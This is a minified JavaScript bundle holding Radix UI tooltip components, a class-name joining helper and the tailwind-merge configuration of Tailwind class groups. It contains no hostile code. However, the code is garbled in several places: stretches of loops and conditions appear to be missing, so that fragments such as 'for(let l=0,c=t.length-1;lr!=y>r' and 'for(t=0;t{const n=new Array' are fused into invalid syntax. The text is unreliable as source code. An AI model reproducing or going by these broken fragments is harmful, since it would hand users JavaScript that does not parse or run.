v.useEffect(()=>()=>{x.current&&(window.clearTimeout(x.current),x.current=0)},[]),E.jsx(zb,{...h,children:E.jsx(IU,{scope:t,contentId:y,open:A,stateAttribute:T,trigger:p,onTriggerChange:m,onTriggerEnter:v.useCallback(()=>{f.isOpenDelayedRef.current?P():j()},[f.isOpenDelayedRef,P,j]),onTriggerLeave:v.useCallback(()=>{S?M():(window.clearTimeout(x.current),x.current=0)},[M,S]),onOpen:j,onClose:M,disableHoverableContent:S,children:n})})};ej.displayName=Oc;var m0="TooltipTrigger",tj=v.forwardRef((e,t)=>{const{__scopeTooltip:n,...r}=e,i=Vc(m0,n),l=Hb(m0,n),c=Ph(n),u=v.useRef(null),f=De(t,u,i.onTriggerChange),h=v.useRef(!1),p=v.useRef(!1),m=v.useCallback(()=>h.current=!1,[]);return v.useEffect(()=>()=>document.removeEventListener("pointerup",m),[m]),E.jsx($b,{asChild:!0,...c,children:E.jsx(Ce.button,{"aria-describedby":i.open?i.contentId:void 0,"data-state":i.stateAttribute,...r,ref:f,onPointerMove:ue(e.onPointerMove,y=>{y.pointerType!=="touch"&&!p.current&&!l.isPointerInTransitRef.current&&(i.onTriggerEnter(),p.current=!0)}),onPointerLeave:ue(e.onPointerLeave,()=>{i.onTriggerLeave(),p.current=!1}),onPointerDown:ue(e.onPointerDown,()=>{i.open&&i.onClose(),h.current=!0,document.addEventListener("pointerup",m,{once:!0})}),onFocus:ue(e.onFocus,()=>{h.current||i.onOpen()}),onBlur:ue(e.onBlur,i.onClose),onClick:ue(e.onClick,i.onClose)})})});tj.displayName=m0;var qb="TooltipPortal",[zU,$U]=jh(qb,{forceMount:void 0}),nj=e=>{const{__scopeTooltip:t,forceMount:n,children:r,container:i}=e,l=Vc(qb,t);return E.jsx(zU,{scope:t,forceMount:n,children:E.jsx(ln,{present:n||l.open,children:E.jsx(Fc,{asChild:!0,container:i,children:r})})})};nj.displayName=qb;var Pl="TooltipContent",rj=v.forwardRef((e,t)=>{const n=$U(Pl,e.__scopeTooltip),{forceMount:r=n.forceMount,side:i="top",...l}=e,c=Vc(Pl,e.__scopeTooltip);return E.jsx(ln,{present:r||c.open,children:c.disableHoverableContent?E.jsx(aj,{side:i,...l,ref:t}):E.jsx(BU,{side:i,...l,ref:t})})}),BU=v.forwardRef((e,t)=>{const n=Vc(Pl,e.__scopeTooltip),r=Hb(Pl,e.__scopeTooltip),i=v.useRef(null),l=De(t,i),[c,u]=v.useState(null),{trigger:f,onClose:h}=n,p=i.current,{onPointerInTransitChange:m}=r,y=v.useCallback(()=>{u(null),m(!1)},[m]),x=v.useCallback((S,w)=>{const O=S.currentTarget,A={x:S.clientX,y:S.clientY},_=VU(A,O.getBoundingClientRect()),T=KU(A,_),j=YU(w.getBoundingClientRect()),M=WU([...T,...j]);u(M),m(!0)},[m]);return v.useEffect(()=>()=>y(),[y]),v.useEffect(()=>{if(f&&p){const S=O=>x(O,p),w=O=>x(O,f);return f.addEventListener("pointerleave",S),p.addEventListener("pointerleave",w),()=>{f.removeEventListener("pointerleave",S),p.removeEventListener("pointerleave",w)}}},[f,p,x,y]),v.useEffect(()=>{if(c){const S=w=>{const O=w.target,A={x:w.clientX,y:w.clientY},_=f?.contains(O)||p?.contains(O),T=!GU(A,c);_?y():T&&(y(),h())};return document.addEventListener("pointermove",S),()=>document.removeEventListener("pointermove",S)}},[f,p,c,h,y]),E.jsx(aj,{...e,ref:l})}),[UU,HU]=jh(Oc,{isInside:!1}),qU=NU("TooltipContent"),aj=v.forwardRef((e,t)=>{const{__scopeTooltip:n,children:r,"aria-label":i,onEscapeKeyDown:l,onPointerDownOutside:c,...u}=e,f=Vc(Pl,n),h=Ph(n),{onClose:p}=f;return v.useEffect(()=>(document.addEventListener(p0,p),()=>document.removeEventListener(p0,p)),[p]),v.useEffect(()=>{if(f.trigger){const m=y=>{y.target?.contains(f.trigger)&&p()};return window.addEventListener("scroll",m,{capture:!0}),()=>window.removeEventListener("scroll",m,{capture:!0})}},[f.trigger,p]),E.jsx(Hc,{asChild:!0,disableOutsidePointerEvents:!1,onEscapeKeyDown:l,onPointerDownOutside:c,onFocusOutside:m=>m.preventDefault(),onDismiss:p,children:E.jsxs(Bb,{"data-state":f.stateAttribute,...h,...u,ref:t,style:{...u.style,"--radix-tooltip-content-transform-origin":"var(--radix-popper-transform-origin)","--radix-tooltip-content-available-width":"var(--radix-popper-available-width)","--radix-tooltip-content-available-height":"var(--radix-popper-available-height)","--radix-tooltip-trigger-width":"var(--radix-popper-anchor-width)","--radix-tooltip-trigger-height":"var(--radix-popper-anchor-height)"},children:[E.jsx(qU,{children:r}),E.jsx(UU,{scope:n,isInside:!0,children:E.jsx(DU,{id:f.contentId,role:"tooltip",children:i||r})})]})})});rj.displayName=Pl;var ij="TooltipArrow",FU=v.forwardRef((e,t)=>{const{__scopeTooltip:n,...r}=e,i=Ph(n);return HU(ij,n).isInside?null:E.jsx(Ub,{...i,...r,ref:t})});FU.displayName=ij;function VU(e,t){const n=Math.abs(t.top-e.y),r=Math.abs(t.bottom-e.y),i=Math.abs(t.right-e.x),l=Math.abs(t.left-e.x);switch(Math.min(n,r,i,l)){case l:return"left";case i:return"right";case n:return"top";case r:return"bottom";default:throw new Error("unreachable")}}function KU(e,t,n=5){const r=[];switch(t){case"top":r.push({x:e.x-n,y:e.y+n},{x:e.x+n,y:e.y+n});break;case"bottom":r.push({x:e.x-n,y:e.y-n},{x:e.x+n,y:e.y-n});break;case"left":r.push({x:e.x+n,y:e.y-n},{x:e.x+n,y:e.y+n});break;case"right":r.push({x:e.x-n,y:e.y-n},{x:e.x-n,y:e.y+n});break}return r}function YU(e){const{top:t,right:n,bottom:r,left:i}=e;return[{x:i,y:t},{x:n,y:t},{x:n,y:r},{x:i,y:r}]}function GU(e,t){const{x:n,y:r}=e;let i=!1;for(let l=0,c=t.length-1;lr!=y>r&&n<(m-h)*(r-p)/(y-p)+h&&(i=!i)}return i}function WU(e){const t=e.slice();return t.sort((n,r)=>n.xr.x?1:n.yr.y?1:0),XU(t)}function XU(e){if(e.length<=1)return e.slice();const t=[];for(let r=0;r=2;){const l=t[t.length-1],c=t[t.length-2];if((l.x-c.x)*(i.y-c.y)>=(l.y-c.y)*(i.x-c.x))t.pop();else break}t.push(i)}t.pop();const n=[];for(let r=e.length-1;r>=0;r--){const i=e[r];for(;n.length>=2;){const l=n[n.length-1],c=n[n.length-2];if((l.x-c.x)*(i.y-c.y)>=(l.y-c.y)*(i.x-c.x))n.pop();else break}n.push(i)}return n.pop(),t.length===1&&n.length===1&&t[0].x===n[0].x&&t[0].y===n[0].y?t:t.concat(n)}var ZU=JM,QU=ej,JU=tj,eH=nj,oj=rj;function lj(e){var t,n,r="";if(typeof e=="string"||typeof e=="number")r+=e;else if(typeof e=="object")if(Array.isArray(e)){var i=e.length;for(t=0;t{const n=new Array(e.length+t.length);for(let r=0;r({classGroupId:e,validator:t}),sj=(e=new Map,t=null,n)=>({nextPart:e,validators:t,classGroupId:n}),Ad="-",nC=[],rH="arbitrary..",aH=e=>{const t=oH(e),{conflictingClassGroups:n,conflictingClassGroupModifiers:r}=e;return{getClassGroupId:c=>{if(c.startsWith("[")&&c.endsWith("]"))return iH(c);const u=c.split(Ad),f=u[0]===""&&u.length>1?1:0;return cj(u,f,t)},getConflictingClassGroupIds:(c,u)=>{if(u){const f=r[c],h=n[c];return f?h?tH(h,f):f:h||nC}return n[c]||nC}}},cj=(e,t,n)=>{if(e.length-t===0)return n.classGroupId;const i=e[t],l=n.nextPart.get(i);if(l){const h=cj(e,t+1,l);if(h)return h}const c=n.validators;if(c===null)return;const u=t===0?e.join(Ad):e.slice(t).join(Ad),f=c.length;for(let h=0;he.slice(1,-1).indexOf(":")===-1?void 0:(()=>{const t=e.slice(1,-1),n=t.indexOf(":"),r=t.slice(0,n);return r?rH+r:void 0})(),oH=e=>{const{theme:t,classGroups:n}=e;return lH(n,t)},lH=(e,t)=>{const n=sj();for(const r in e){const i=e[r];Fb(i,n,r,t)}return n},Fb=(e,t,n,r)=>{const i=e.length;for(let l=0;l{if(typeof e=="string"){cH(e,t,n);return}if(typeof e=="function"){uH(e,t,n,r);return}fH(e,t,n,r)},cH=(e,t,n)=>{const r=e===""?t:uj(t,e);r.classGroupId=n},uH=(e,t,n,r)=>{if(dH(e)){Fb(e(r),t,n,r);return}t.validators===null&&(t.validators=[]),t.validators.push(nH(n,e))},fH=(e,t,n,r)=>{const i=Object.entries(e),l=i.length;for(let c=0;c{let n=e;const r=t.split(Ad),i=r.length;for(let l=0;l"isThemeGetter"in e&&e.isThemeGetter===!0,hH=e=>{if(e<1)return{get:()=>{},set:()=>{}};let t=0,n=Object.create(null),r=Object.create(null);const i=(l,c)=>{n[l]=c,t++,t>e&&(t=0,r=n,n=Object.create(null))};return{get(l){let c=n[l];if(c!==void 0)return c;if((c=r[l])!==void 0)return i(l,c),c},set(l,c){l in n?n[l]=c:i(l,c)}}},v0="!",rC=":",pH=[],aC=(e,t,n,r,i)=>({modifiers:e,hasImportantModifier:t,baseClassName:n,maybePostfixModifierPosition:r,isExternal:i}),mH=e=>{const{prefix:t,experimentalParseClassName:n}=e;let r=i=>{const l=[];let c=0,u=0,f=0,h;const p=i.length;for(let w=0;wf?h-f:void 0;return aC(l,x,y,S)};if(t){const i=t+rC,l=r;r=c=>c.startsWith(i)?l(c.slice(i.length)):aC(pH,!1,c,void 0,!0)}if(n){const i=r;r=l=>n({className:l,parseClassName:i})}return r},vH=e=>{const t=new Map;return e.orderSensitiveModifiers.forEach((n,r)=>{t.set(n,1e6+r)}),n=>{const r=[];let i=[];for(let l=0;l0&&(i.sort(),r.push(...i),i=[]),r.push(c)):i.push(c)}return i.length>0&&(i.sort(),r.push(...i)),r}},gH=e=>({cache:hH(e.cacheSize),parseClassName:mH(e),sortModifiers:vH(e),...aH(e)}),yH=/\s+/,bH=(e,t)=>{const{parseClassName:n,getClassGroupId:r,getConflictingClassGroupIds:i,sortModifiers:l}=t,c=[],u=e.trim().split(yH);let f="";for(let h=u.length-1;h>=0;h-=1){const p=u[h],{isExternal:m,modifiers:y,hasImportantModifier:x,baseClassName:S,maybePostfixModifierPosition:w}=n(p);if(m){f=p+(f.length>0?" "+f:f);continue}let O=!!w,A=r(O?S.substring(0,w):S);if(!A){if(!O){f=p+(f.length>0?" "+f:f);continue}if(A=r(S),!A){f=p+(f.length>0?" "+f:f);continue}O=!1}const _=y.length===0?"":y.length===1?y[0]:l(y).join(":"),T=x?_+v0:_,j=T+A;if(c.indexOf(j)>-1)continue;c.push(j);const M=i(A,O);for(let P=0;P0?" "+f:f)}return f},xH=(...e)=>{let t=0,n,r,i="";for(;t{if(typeof e=="string")return e;let t,n="";for(let r=0;r{let n,r,i,l;const c=f=>{const h=t.reduce((p,m)=>m(p),e());return n=gH(h),r=n.cache.get,i=n.cache.set,l=u,u(f)},u=f=>{const h=r(f);if(h)return h;const p=bH(f,n);return i(f,p),p};return l=c,(...f)=>l(xH(...f))},SH=[],Pt=e=>{const t=n=>n[e]||SH;return t.isThemeGetter=!0,t},dj=/^\[(?:(\w[\w-]*):)?(.+)\]$/i,hj=/^\((?:(\w[\w-]*):)?(.+)\)$/i,OH=/^\d+\/\d+$/,EH=/^(\d+(\.\d+)?)?(xs|sm|md|lg|xl)$/,AH=/\d+(%|px|r?em|[sdl]?v([hwib]|min|max)|pt|pc|in|cm|mm|cap|ch|ex|r?lh|cq(w|h|i|b|min|max))|\b(calc|min|max|clamp)\(.+\)|^0$/,CH=/^(rgba?|hsla?|hwb|(ok)?(lab|lch)|color-mix)\(.+\)$/,_H=/^(inset_)?-?((\d+)?\.?(\d+)[a-z]+|0)_-?((\d+)?\.?(\d+)[a-z]+|0)/,TH=/^(url|image|image-set|cross-fade|element|(repeating-)?(linear|radial|conic)-gradient)\(.+\)$/,ml=e=>OH.test(e),ke=e=>!!e&&!Number.isNaN(Number(e)),fi=e=>!!e&&Number.isInteger(Number(e)),yg=e=>e.endsWith("%")&&ke(e.slice(0,-1)),ha=e=>EH.test(e),NH=()=>!0,MH=e=>AH.test(e)&&!CH.test(e),pj=()=>!1,jH=e=>_H.test(e),PH=e=>TH.test(e),RH=e=>!ge(e)&&!ye(e),DH=e=>Vl(e,gj,pj),ge=e=>dj.test(e),Yi=e=>Vl(e,yj,MH),bg=e=>Vl(e,$H,ke),iC=e=>Vl(e,mj,pj),kH=e=>Vl(e,vj,PH),$f=e=>Vl(e,bj,jH),ye=e=>hj.test(e),rc=e=>Kl(e,yj),LH=e=>Kl(e,BH),oC=e=>Kl(e,mj),IH=e=>Kl(e,gj),zH=e=>Kl(e,vj),Bf=e=>Kl(e,bj,!0),Vl=(e,t,n)=>{const r=dj.exec(e);return r?r[1]?t(r[1]):n(r[2]):!1},Kl=(e,t,n=!1)=>{const r=hj.exec(e);return r?r[1]?t(r[1]):n:!1},mj=e=>e==="position"||e==="percentage",vj=e=>e==="image"||e==="url",gj=e=>e==="length"||e==="size"||e==="bg-size",yj=e=>e==="length",$H=e=>e==="number",BH=e=>e==="family-name",bj=e=>e==="shadow",UH=()=>{const e=Pt("color"),t=Pt("font"),n=Pt("text"),r=Pt("font-weight"),i=Pt("tracking"),l=Pt("leading"),c=Pt("breakpoint"),u=Pt("container"),f=Pt("spacing"),h=Pt("radius"),p=Pt("shadow"),m=Pt("inset-shadow"),y=Pt("text-shadow"),x=Pt("drop-shadow"),S=Pt("blur"),w=Pt("perspective"),O=Pt("aspect"),A=Pt("ease"),_=Pt("animate"),T=()=>["auto","avoid","all","avoid-page","page","left","right","column"],j=()=>["center","top","bottom","left","right","top-left","left-top","top-right","right-top","bottom-right","right-bottom","bottom-left","left-bottom"],M=()=>[...j(),ye,ge],P=()=>["auto","hidden","clip","visible","scroll"],R=()=>["auto","contain","none"],I=()=>[ye,ge,f],B=()=>[ml,"full","auto",...I()],q=()=>[fi,"none","subgrid",ye,ge],U=()=>["auto",{span:["full",fi,ye,ge]},fi,ye,ge],V=()=>[fi,"auto",ye,ge],oe=()=>["auto","min","max","fr",ye,ge],le=()=>["start","end","center","between","around","evenly","stretch","baseline","center-safe","end-safe"],ce=()=>["start","end","center","stretch","center-safe","end-safe"],L=()=>["auto",...I()],F=()=>[ml,"auto","full","dvw","dvh","lvw","lvh","svw","svh","min","max","fit",...I()],$=()=>[e,ye,ge],Z=()=>[...j(),oC,iC,{position:[ye,ge]}],de=()=>["no-repeat",{repeat:["","x","y","space","round"]}],D=()=>["auto","cover","contain",IH,DH,{size:[ye,ge]}],X=()=>[yg,rc,Yi],ae=()=>["","none","full",h,ye,ge],se=()=>["",ke,rc,Yi],me=()=>["solid","dashed","dotted","double"],xe=()=>["normal","multiply","screen","overlay","darken","lighten","color-dodge","color-burn","hard-light","soft-light","difference","exclusion","hue","saturation","color","luminosity"],ee=()=>[ke,yg,oC,iC],_e=()=>["","none",S,ye,ge],Q=()=>["none",ke,ye,ge],fe=()=>["none",ke,ye,ge],he=()=>[ke,ye,ge],ne=()=>[ml,"full",...I()];return{cacheSize:500,theme:{animate:["spin","ping","pulse","bounce"],aspect:["video"],blur:[ha],breakpoint:[ha],color:[NH],container:[ha],"drop-shadow":[ha],ease:["in","out","in-out"],font:[RH],"font-weight":["thin","extralight","light","normal","medium","semibold","bold","extrabold","black"],"inset-shadow":[ha],leading:["none","tight","snug","normal","relaxed","loose"],perspective:["dramatic","near","normal","midrange","distant","none"],radius:[ha],shadow:[ha],spacing:["px",ke],text:[ha],"text-shadow":[ha],tracking:["tighter","tight","normal","wide","wider","widest"]},classGroups:{aspect:[{aspect:["auto","square",ml,ge,ye,O]}],container:["container"],columns:[{columns:[ke,ge,ye,u]}],"break-after":[{"break-after":T()}],"break-before":[{"break-before":T()}],"break-inside":[{"break-inside":["auto","avoid","avoid-page","avoid-column"]}],"box-decoration":[{"box-decoration":["slice","clone"]}],box:[{box:["border","content"]}],display:["block","inline-block","inline","flex","inline-flex","table","inline-table","table-caption","table-cell","table-column","table-column-group","table-footer-group","table-header-group","table-row-group","table-row","flow-root","grid","inline-grid","contents","list-item","hidden"],sr:["sr-only","not-sr-only"],float:[{float:["right","left","none","start","end"]}],clear:[{clear:["left","right","both","none","start","end"]}],isolation:["isolate","isolation-auto"],"object-fit":[{object:["contain","cover","fill","none","scale-down"]}],"object-position":[{object:M()}],overflow:[{overflow:P()}],"overflow-x":[{"overflow-x":P()}],"overflow-y":[{"overflow-y":P()}],overscroll:[{overscroll:R()}],"overscroll-x":[{"overscroll-x":R()}],"overscroll-y":[{"overscroll-y":R()}],position:["static","fixed","absolute","relative","sticky"],inset:[{inset:B()}],"inset-x":[{"inset-x":B()}],"inset-y":[{"inset-y":B()}],start:[{start:B()}],end:[{end:B()}],top:[{top:B()}],right:[{right:B()}],bottom:[{bottom:B()}],left:[{left:B()}],visibility:["visible","invisible","collapse"],z:[{z:[fi,"auto",ye,ge]}],basis:[{basis:[ml,"full","auto",u,...I()]}],"flex-direction":[{flex:["row","row-reverse","col","col-reverse"]}],"flex-wrap":[{flex:["nowrap","wrap","wrap-reverse"]}],flex:[{flex:[ke,ml,"auto","initial","none",ge]}],grow:[{grow:["",ke,ye,ge]}],shrink:[{shrink:["",ke,ye,ge]}],order:[{order:[fi,"first","last","none",ye,ge]}],"grid-cols":[{"grid-cols":q()}],"col-start-end":[{col:U()}],"col-start":[{"col-start":V()}],"col-end":[{"col-end":V()}],"grid-rows":[{"grid-rows":q()}],"row-start-end":[{row:U()}],"row-start":[{"row-start":V()}],"row-end":[{"row-end":V()}],"grid-flow":[{"grid-flow":["row","col","dense","row-dense","col-dense"]}],"auto-cols":[{"auto-cols":oe()}],"auto-rows":[{"auto-rows":oe()}],gap:[{gap:I()}],"gap-x":[{"gap-x":I()}],"gap-y":[{"gap-y":I()}],"justify-content":[{justify:[...le(),"normal"]}],"justify-items":[{"justify-items":[...ce(),"normal"]}],"justify-self":[{"justify-self":["auto",...ce()]}],"align-content":[{content:["normal",...le()]}],"align-items":[{items:[...ce(),{baseline:["","last"]}]}],"align-self":[{self:["auto",...ce(),{baseline:["","last"]}]}],"place-content":[{"place-content":le()}],"place-items":[{"place-items":[...ce(),"baseline"]}],"place-self":[{"place-self":["auto",...ce()]}],p:[{p:I()}],px:[{px:I()}],py:[{py:I()}],ps:[{ps:I()}],pe:[{pe:I()}],pt:[{pt:I()}],pr:[{pr:I()}],pb:[{pb:I()}],pl:[{pl:I()}],m:[{m:L()}],mx:[{mx:L()}],my:[{my:L()}],ms:[{ms:L()}],me:[{me:L()}],mt:[{mt:L()}],mr:[{mr:L()}],mb:[{mb:L()}],ml:[{ml:L()}],"space-x":[{"space-x":I()}],"space-x-reverse":["space-x-reverse"],"space-y":[{"space-y":I()}],"space-y-reverse":["space-y-reverse"],size:[{size:F()}],w:[{w:[u,"screen",...F()]}],"min-w":[{"min-w":[u,"screen","none",...F()]}],"max-w":[{"max-w":[u,"screen","none","prose",{screen:[c]},...F()]}],h:[{h:["screen","lh",...F()]}],"min-h":[{"min-h":["screen","lh","none",...F()]}],"max-h":[{"max-h":["screen","lh",...F()]}],"font-size":[{text:["base",n,rc,Yi]}],"font-smoothing":["antialiased","subpixel-antialiased"],"font-style":["italic","not-italic"],"font-weight":[{font:[r,ye,bg]}],"font-stretch":[{"font-stretch":["ultra-condensed","extra-condensed","condensed","semi-condensed","normal","semi-expanded","expanded","extra-expanded","ultra-expanded",yg,ge]}],"font-family":[{font:[LH,ge,t]}],"fvn-normal":["normal-nums"],"fvn-ordinal":["ordinal"],"fvn-slashed-zero":["slashed-zero"],"fvn-figure":["lining-nums","oldstyle-nums"],"fvn-spacing":["proportional-nums","tabular-nums"],"fvn-fraction":["diagonal-fractions","stacked-fractions"],tracking:[{tracking:[i,ye,ge]}],"line-clamp":[{"line-clamp":[ke,"none",ye,bg]}],leading:[{leading:[l,...I()]}],"list-image":[{"list-image":["none",ye,ge]}],"list-style-position":[{list:["inside","outside"]}],"list-style-type":[{list:["disc","decimal","none",ye,ge]}],"text-alignment":[{text:["left","center","right","justify","start","end"]}],"placeholder-color":[{placeholder:$()}],"text-color":[{text:$()}],"text-decoration":["underline","overline","line-through","no-underline"],"text-decoration-style":[{decoration:[...me(),"wavy"]}],"text-decoration-thickness":[{decoration:[ke,"from-font","auto",ye,Yi]}],"text-decoration-color":[{decoration:$()}],"underline-offset":[{"underline-offset":[ke,"auto",ye,ge]}],"text-transform":["uppercase","lowercase","capitalize","normal-case"],"text-overflow":["truncate","text-ellipsis","text-clip"],"text-wrap":[{text:["wrap","nowrap","balance","pretty"]}],indent:[{indent:I()}],"vertical-align":[{align:["baseline","top","middle","bottom","text-top","text-bottom","sub","super",ye,ge]}],whitespace:[{whitespace:["normal","nowrap","pre","pre-line","pre-wrap","break-spaces"]}],break:[{break:["normal","words","all","keep"]}],wrap:[{wrap:["break-word","anywhere","normal"]}],hyphens:[{hyphens:["none","manual","auto"]}],content:[{content:["none",ye,ge]}],"bg-attachment":[{bg:["fixed","local","scroll"]}],"bg-clip":[{"bg-clip":["border","padding","content","text"]}],"bg-origin":[{"bg-origin":["border","padding","content"]}],"bg-position":[{bg:Z()}],"bg-repeat":[{bg:de()}],"bg-size":[{bg:D()}],"bg-image":[{bg:["none",{linear:[{to:["t","tr","r","br","b","bl","l","tl"]},fi,ye,ge],radial:["",ye,ge],conic:[fi,ye,ge]},zH,kH]}],"bg-color":[{bg:$()}],"gradient-from-pos":[{from:X()}],"gradient-via-pos":[{via:X()}],"gradient-to-pos":[{to:X()}],"gradient-from":[{from:$()}],"gradient-via":[{via:$()}],"gradient-to":[{to:$()}],rounded:[{rounded:ae()}],"rounded-s":[{"rounded-s":ae()}],"rounded-e":[{"rounded-e":ae()}],"rounded-t":[{"rounded-t":ae()}],"rounded-r":[{"rounded-r":ae()}],"rounded-b":[{"rounded-b":ae()}],"rounded-l":[{"rounded-l":ae()}],"rounded-ss":[{"rounded-ss":ae()}],"rounded-se":[{"rounded-se":ae()}],"rounded-ee":[{"rounded-ee":ae()}],"rounded-es":[{"rounded-es":ae()}],"rounded-tl":[{"rounded-tl":ae()}],"rounded-tr":[{"rounded-tr":ae()}],"rounded-br":[{"rounded-br":ae()}],"rounded-bl":[{"rounded-bl":ae()}],"border-w":[{border:se()}],"border-w-x":[{"border-x":se()}],"border-w-y":[{"border-y":se()}],"border-w-s":[{"border-s":se()}],"border-w-e":[{"border-e":se()}],"border-w-t":[{"border-t":se()}],"border-w-r":[{"border-r":se()}],"border-w-b":[{"border-b":se()}],"border-w-l":[{"border-l":se()}],"divide-x":[{"divide-x":se()}],"divide-x-reverse":["divide-x-reverse"],"divide-y":[{"divide-y":se()}],"divide-y-reverse":["divide-y-reverse"],"border-style":[{border:[...me(),"hidden","none"]}],"divide-style":[{divide:[...me(),"hidden","none"]}],"border-color":[{border:$()}],"border-color-x":[{"border-x":$()}],"border-color-y":[{"border-y":$()}],"border-color-s":[{"border-s":$()}],"border-color-e":[{"border-e":$()}],"border-color-t":[{"border-t":$()}],"border-color-r":[{"border-r":$()}],"border-color-b":[{"border-b":$()}],"border-color-l":[{"border-l":$()}],"divide-color":[{divide:$()}],"outline-style":[{outline:[...me(),"none","hidden"]}],"outline-offset":[{"outline-offset":[ke,ye,ge]}],"outline-w":[{outline:["",ke,rc,Yi]}],"outline-color":[{outline:$()}],shadow:[{shadow:["","none",p,Bf,$f]}],"shadow-color":[{shadow:$()}],"inset-shadow":[{"inset-shadow":["none",m,Bf,$f]}],"inset-shadow-color":[{"inset-shadow":$()}],"ring-w":[{ring:se()}],"ring-w-inset":["ring-inset"],"ring-color":[{ring:$()}],"ring-offset-w":[{"ring-offset":[ke,Yi]}],"ring-offset-color":[{"ring-offset":$()}],"inset-ring-w":[{"inset-ring":se()}],"inset-ring-color":[{"inset-ring":$()}],"text-shadow":[{"text-shadow":["none",y,Bf,$f]}],"text-shadow-color":[{"text-shadow":$()}],opacity:[{opacity:[ke,ye,ge]}],"mix-blend":[{"mix-blend":[...xe(),"plus-darker","plus-lighter"]}],"bg-blend":[{"bg-blend":xe()}],"mask-clip":[{"mask-clip":["border","padding","content","fill","stroke","view"]},"mask-no-clip"],"mask-composite":[{mask:["add","subtract","intersect","exclude"]}],"mask-image-linear-pos":[{"mask-linear":[ke]}],"mask-image-linear-from-pos":[{"mask-linear-from":ee()}],"mask-image-linear-to-pos":[{"mask-linear-to":ee()}],"mask-image-linear-from-color":[{"mask-linear-from":$()}],"mask-image-linear-to-color":[{"mask-linear-to":$()}],"mask-image-t-from-pos":[{"mask-t-from":ee()}],"mask-image-t-to-pos":[{"mask-t-to":ee()}],"mask-image-t-from-color":[{"mask-t-from":$()}],"mask-image-t-to-color":[{"mask-t-to":$()}],"mask-image-r-from-pos":[{"mask-r-from":ee()}],"mask-image-r-to-pos":[{"mask-r-to":ee()}],"mask-image-r-from-color":[{"mask-r-from":$()}],"mask-image-r-to-color":[{"mask-r-to":$()}],"mask-image-b-from-pos":[{"mask-b-from":ee()}],"mask-image-b-to-pos":[{"mask-b-to":ee()}],"mask-image-b-from-color":[{"mask-b-from":$()}],"mask-image-b-to-color":[{"mask-b-to":$()}],"mask-image-l-from-pos":[{"mask-l-from":ee()}],"mask-image-l-to-pos":[{"mask-l-to":ee()}],"mask-image-l-from-color":[{"mask-l-from":$()}],"mask-image-l-to-color":[{"mask-l-to":$()}],"mask-image-x-from-pos":[{"mask-x-from":ee()}],"mask-image-x-to-pos":[{"mask-x-to":ee()}],"mask-image-x-from-color":[{"mask-x-from":$()}],"mask-image-x-to-color":[{"mask-x-to":$()}],"mask-image-y-from-pos":[{"mask-y-from":ee()}],"mask-image-y-to-pos":[{"mask-y-to":ee()}],"mask-image-y-from-color":[{"mask-y-from":$()}],"mask-image-y-to-color":[{"mask-y-to":$()}],"mask-image-radial":[{"mask-radial":[ye,ge]}],"mask-image-radial-from-pos":[{"mask-radial-from":ee()}],"mask-image-radial-to-pos":[{"mask-radial-to":ee()}],"mask-image-radial-from-color":[{"mask-radial-from":$()}],"mask-image-radial-to-color":[{"mask-radial-to":$()}],"mask-image-radial-shape":[{"mask-radial":["circle","ellipse"]}],"mask-image-radial-size":[{"mask-radial":[{closest:["side","corner"],farthest:["side","corner"]}]}],"mask-image-radial-pos":[{"mask-radial-at":j()}],"mask-image-conic-pos":[{"mask-conic":[ke]}],"mask-image-conic-from-pos":[{"mask-conic-from":ee()}],"mask-image-conic-to-pos":[{"mask-conic-to":ee()}],"mask-image-conic-from-color":[{"mask-conic-from":$()}],"mask-image-conic-to-color":[{"mask-conic-to":$()}],"mask-mode":[{mask:["alpha","luminance","match"]}],"mask-origin":[{"mask-origin":["border","padding","content","fill","stroke","view"]}],"mask-position":[{mask:Z()}],"mask-repeat":[{mask:de()}],"mask-size":[{mask:D()}],"mask-type":[{"mask-type":["alpha","luminance"]}],"mask-image":[{mask:["none",ye,ge]}],filter:[{filter:["","none",ye,ge]}],blur:[{blur:_e()}],brightness:[{brightness:[ke,ye,ge]}],contrast:[{contrast:[ke,ye,ge]}],"drop-shadow":[{"drop-shadow":["","none",x,Bf,$f]}],"drop-shadow-color":[{"drop-shadow":$()}],grayscale:[{grayscale:["",ke,ye,ge]}],"hue-rotate":[{"hue-rotate":[ke,ye,ge]}],invert:[{invert:["",ke,ye,ge]}],saturate:[{saturate:[ke,ye,ge]}],sepia:[{sepia:["",ke,ye,ge]}],"backdrop-filter":[{"backdrop-filter":["","none",ye,ge]}],"backdrop-blur":[{"backdrop-blur":_e()}],"backdrop-brightness":[{"backdrop-brightness":[ke,ye,ge]}],"backdrop-contrast":[{"backdrop-contrast":[ke,ye,ge]}],"backdrop-grayscale":[{"backdrop-grayscale":["",ke,ye,ge]}],"backdrop-hue-rotate":[{"backdrop-hue-rotate":[ke,ye,ge]}],"backdrop-invert":[{"backdrop-invert":["",ke,ye,ge]}],"backdrop-opacity":[{"backdrop-opacity":[ke,ye,ge]}],"backdrop-saturate":[{"backdrop-saturate":[ke,ye,ge]}],"backdrop-sepia":[{"backdrop-sepia":["",ke,ye,ge]}],"border-collapse":[{border:["collapse","separate"]}],"border-spacing":[{"border-spacing":I()}],"border-spacing-x":[{"border-spacing-x":I()}],"border-spacing-y":[{"border-spacing-y":I()}],"table-layout":[{table:["auto","fixed"]}],caption:[{caption:["top","bottom"]}],transition:[{transition:["","all","colors","opacity","shadow","transform","none",ye,ge]}],"transition-behavior":[{transition:["normal","discrete"]}],duration:[{duration:[ke,"initial",ye,ge]}],ease:[{ease:["linear","initial",A,ye,ge]}],delay:[{delay:[ke,ye,ge]}],animate:[{animate:["none",_,ye,ge]}],backface:[{backface:["hidden","visible"]}],perspective:[{perspective:[w,ye,ge]}],"perspective-origin":[{"perspective-origin":M()}],rotate:[{rotate:Q()}],"rotate-x":[{"rotate-x":Q()}],"rotate-y":[{"rotate-y":Q()}],"rotate-z":[{"rotate-z":Q()}],scale:[{scale:fe()}],"scale-x":[{"scale-x":fe()}],"scale-y":[{"scale-y":fe()}],"scale-z":[{"scale-z":fe()}],"scale-3d":["scale-3d"],skew:[{skew:he()}],"skew-x":[{"skew-x":he()}],"skew-y":[{"skew-y":he()}],transform:[{transform:[ye,ge,"","none","gpu","cpu"]}],"transform-origin":[{origin:M()}],"transform-style":[{transform:["3d","flat"]}],translate:[{translate:ne()}],"translate-x":[{"translate-x":ne()}],"translate-y":[{"translate-y":ne()}],"translate-z":[{"translate-z":ne()}],"translate-none":["translate-none"],accent:[{accent:$()}],appearance:[{appearance:["none","auto"]}],"caret-color":[{caret:$()}],"color-scheme":[{scheme:["normal","dark","light","light-dark","only-dark","only-light"]}],cursor:[{cursor:["auto","default","pointer","wait","text","move","help","not-allowed","none","context-menu","progress","cell","crosshai